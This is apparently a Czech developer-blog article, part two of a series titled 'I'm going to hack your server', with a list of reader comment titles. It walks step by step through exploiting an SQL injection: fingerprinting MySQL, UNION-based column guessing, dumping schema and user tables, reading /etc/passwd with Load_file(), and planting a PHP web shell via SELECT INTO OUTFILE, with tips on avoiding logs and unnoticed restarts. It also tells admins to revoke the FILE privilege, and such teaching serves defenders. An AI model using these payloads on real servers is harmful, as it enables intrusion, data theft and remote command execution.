Jdu hacknout váš server… díl 2

V minulém díle jsem na cílovém serveru objevil bezpečnostní trhlinu (SQL injection) a připravil jsme si další postup. Nyní si z databáze konečně něco vypíšu – rozhodně seznam uživatelů (a hesla, pravděpodobně zahashovaná), s trochou štěstí systémové soubory. Prozatím ale skromně začnu zjištěním metadat: verze a typ databáze a názvy důležitých tabulek a sloupců.

Seriál: Jdu hacknout váš server (3 díly)

  1. Jdu hacknout váš server… díl 1 6.2.2012
  2. Jdu hacknout váš server… díl 2 13.2.2012
  3. Jdu hacknout váš server… díl 3 20.2.2012

Detaily o databázi

Začněme typem databáze, protože zjištění verze se podle něj liší.

Většina nezabezpečených stránek poběží na MySQL. Nemám to statisticky podložené, shodneme se ale, že klíčový business použije databázi od Oracle nebo Microsoftu, a to není není sféra, kde programátor nechá neošetřený vstup. MySQL potkáme nejčastěji, výjimečně PostgreSQL.

Snad ve všech databázích funguje tradiční blokový komentář /* */. Řádkové komentáře se liší # (MySQL) a -- (PostgreSQL, MySQL). Mimochodem, není-li za pomlčkovým komentářem mezera, může se chovat všelijak; minimálně jednou jsem se na to nachytal a strávil čas hledáním problému. Než studovat dokumentaci a bugy konkrétní verze, je lepší občas psát takovéhle delší, někdy zbytečné, konstrukce.

Kromě těchhle tří komentářů poskytuje MySQL podporu pro podmíněné komentáře. Příkaz

SELECT /*! 2, */ 1

vrátí v MySQL dva sloupečky (2, 1), všude jinde jenom jeden (1). Podle představivosti můžeme do komentáře napsat syntaktickou nebo logickou chybu, oblíbené je dělení nulou. Pokud příkaz selže, máme tu čest pracovat s MySQL. A protože máme jenom dvě možnosti, v druhém případě očekáváme PostgreSQL. Kdybychom určili typ špatně, nic se neděje, jenom nám něco nebude fungovat podle očekávání a v ten moment můžeme vše přehodnotit. Jenom tím nejspíš ztratíme nějaký čas.

Podmíněné komentáře jsou ještě dál a pokud vykřičník následuje číslo verze, spustí se obsah pouze na revizi s touto nebo vyšší verzí.

SELECT /*!35201 1/0 */

Je zbytečné inkrementovat od nuly, můžeme intervaly půlit a dostat logaritmickou náročnost. A kromě toho, bohatě stačí znát číslo major a minor revize. Build/patch verze syntax nemění a funkčnost nepřidává.

Doporučuji kouknout na detailní SQL Injection Cheat Scheet, často citovaný tahák o SQL injekcích.

Čtení z databáze

Řekněme si, jak přes SQL injekci vypsat data z jiných tabulek, a když se poštěstí, i schémat. Slouží k tomu klíčové slovo UNION. Že pracujete s SQL denně a skoro ho neznáte? Psát jej v kódu je trochu kontroverzní, ale jako goto má svoje místo. Můžete si přečíst dokumentaci, ale názorné příklady jsou bezesporu lepší:

(SELECT 1) UNION (SELECT 2)

SELECT 1 UNION SELECT 2

Vrací dva řádky o jednom sloupečku (1), (2). Když si představíme naší SQL injekci, máme něco takového:

SELECT * FROM articles LIMIT 50 OFFSET 50 * 0 UNION SELECT 2

Jinými slovy, když dosadíme za číslo stránky 0 UNION SELECT 2, vypíše se obsah druhého SELECT, který máme plně pod kontrolou. Jedinou podmínkou je, že spojované tabulky mají stejný počet sloupců a často musejí mít stejný datový typ (záleží na verzi a možná i na nastavení, to nevím jistě). Protože nevíme, jak vypadá původní příkaz, musíme použít hrubou sílu. Napíšeme si nástroj, který vyzkouší 0 UNION SELECT NULL, 0 UNION SELECT NULL, NULL atd. Výstup, který se bude od ostatních lišit, nám řekne počet políček původní tabulky. Jestli je problém dosazovat NULL, je nutné psát celé typy. Číslo není problém, string musíme většinou psát v šestnáctkové verzi (v SQL injection máme uvozovky k dispozici málo kdy). K tomu můžeme kupříkladu využít nějaký skript nebo naši vlastní databázi:

SELECT CONCAT('0x', HEX('text k zakódování'))

Další častý datový typ je datetime, které má sice vlastní formát, ale nám stačí pro testování využít funkci Now().

Spojení často umře nad rozdílným kódováním ( ERROR 1271 (HY000): Illegal mix of collations for operation 'UNION'). Dá se přejít klíčovým slovem COLLATE, vyžaduje ale uhádnutí kódování původních sloupců. Tradiční jsou utf8_general_ci, utf8_czech_ci, u některých systémových schémat mohou být různé verze latin ( latin1_general_bin).

Metadata

Konečně máme připravenou SQL injekci – tedy union se správným počtem sloupců – ale nemáme co vypsat. Určitě můžeme zkusit pár základních názvů tabulek ( user, uzivatel a plurály) a sloupců ( username, user, nick, pass, passwd, password, jmeno, uzivatel, heslo, …). Jestli se netrefíme – jako že většinou se trefíme, programátor nemá důvod je pojmenovávat jinak – tak je dobré začít v html. Vývojář chce jednotné názvy vstupů v html, proměnných v aplikaci a sloupců v databázi – to mu většinou dělá framework, můžeme se ale domnívat, že žádný nepoužívá, jinak by napsal bezpečnější aplikaci. V html nás zajímá atribut name, ale můžeme zkusit i id, případně podle situace. Rychlá metoda a často někoho nenapadne, asi právě pro svoji triviálnost.

Pokud hádání selže, musíme na to jít trochu víc profesionálně. Novější databáze mají information_schema, které obsahuje mimo jiné tabulku tables a columns. Můžeme si zavolat

SELECT table_name FROM information_schema.tables GROUP BY table_name

SELECT table_name, column_name FROM information_schema.columns

Problém jsou starší databáze, které toto schéma nemají. Původní konstrukce SHOW TABLES v SQL injection využít nejde; především proto, že nejde spojit přes union. Ale i u databází, které toto schéma mají, může být další bariéra: oprávnění uživatele, pod kterým se webová aplikace přihlašuje, může zakazovat toto schéma číst.

Jestli nás potkala smůla a stále nemáme tabulku uživatelů nebo sloupce, které chceme vypsat, musíme zkoušet hádat dál. A nebo můžeme zkusit rozbalit dáreček, který nám nachystal administrátor nedouk.

Čtení souborů přes databázi

MySQL má zabudovanou funkci Load_file() , která načte a vypíše soubor. Většina souborů z /etc  je world readable, testovat můžeme kupříkladu na

SELECT Load_file('/etc/passwd')

Jenom výjimečně se nám toto poštěstí, protože uživatel musí mít povoleno oprávnění FILE. Kromě toho nám databáze nevrátí soubor větší než konstanta max_allowed_packet. Také nás omezuje oprávnění uživatele, pod kterým běží web server (tradičně účet www-data, někdy httpd nebo nobody). A aby toho nebylo málo, výstup se ořízne na velikost datového typu sloupce, do kterého pomocí Load_file() vybíráme.

I přes všechna omezení je toto výborný pomocník, protože si pomůžeme k zdrojovému kódu webové aplikace. Další krok je hledat nové skuliny (ideální v kombinaci s register globals). Když nyní víte, k čemu oprávnění FILE doopravdy je, zkontrolujte svoje servery a všem uživatelům jej odeberte.

Zapisování přes databázi

Komplementárně k Load_file  existuje i SELECT INTO OUTFILE .

SELECT "foo bar" INTO OUTFILE '/tmp/result.txt'

Zneužití je nasnadě; můžeme měnit některé soubory a vytvářet nové. Je libo vlastní php shell?

SELECT "<?php passthru($_GET['q']);" INTO OUTFILE '/var/www/document_root/shell.php'

Mimochodem, je lepší použít <?php passthru(isset($_POST['q']) ? $_POST['q'] : $_GET['q']) ?> protože GET se sice lépe upravuje, ale má na rozdíl od POST omezenou délku a loguje se. Nezapomeňte, že zatím máme jenom hodně omezené možnosti. Nevidíme chybový výstup (stderr), pouze stdout, a neužijeme si aplikace, které přijímají jiný vstup než argumenty při spuštění.

Pochopitelně nesmí být zapnutý safe mode, ale přiznejme si, že tam, kde je povoleno zapisování souborů databází, bychom ho zapnutý ani nečekali. Navíc můžeme přečíst php.ini, upravit a zapsat zpět bez safe_mode, pokud je zapisovatelný. Jestli má webový uživatel patřičné oprávnění, můžete risknout restart serveru (ideálně tak, aby si nikdo výpadku nevšiml), obecně je lepší počkat, až si ho administrátor restartuje sám (smůla, když má běžný uptime v řádech měsíců).

Obrovské omezení je, že cesta k souboru musí být string v uvozovkách nebo apostrofech. Toto je (jediná?) výjimka, kde se nedá string předat v hexadecimálním formátu. To znamená, že při magic_quotes máme prakticky smůlu.

Pokračování

Je nasnadě, že ani v této fázi ještě nemáme vyhráno. V dalším článku budu psát o tom, jak využít náš php shell, dostat se na root účet a k přístupu na ssh.

Komentáře: 30

Přehled komentářů

hide No tak to mne polil pot
tomo_tn Re: No tak to mne polil pot
Ruenix Re: No tak to mne polil pot
kei.101 Python+SQLite?
danaketh Re: Jdu hacknout váš server... díl 2
j Re: Jdu hacknout váš server... díl 2
František Kučera Microsoft a Oracle
okbob Re: Microsoft a Oracle
František Kučera Re: Microsoft a Oracle
j Re: Microsoft a Oracle
Jirka No a co?
okbob Re: No a co?
Čelo Re: No a co?
František Kučera Re: No a co?
avp8 Re: No a co?
Jirka Re: No a co?
okbob Re: No a co?
j Re: No a co?
Jirka Re: No a co?
František Kučera Re: No a co?
j Re: No a co?
Jirka Re: No a co?
Ash Re: No a co?
Jakub Vrána Pár upřesnění
danaketh Re: Pár upřesnění
Pilgrim Neberte ten článek jako návod jak co hacknout
vks Re: Jdu hacknout váš server... díl 2
regiss Free and open application security lab
Ash POST nebo GET
Lojza MSSQL a bankovni aplikace PPF banky
Zdroj: https://www.zdrojak.cz/?p=3606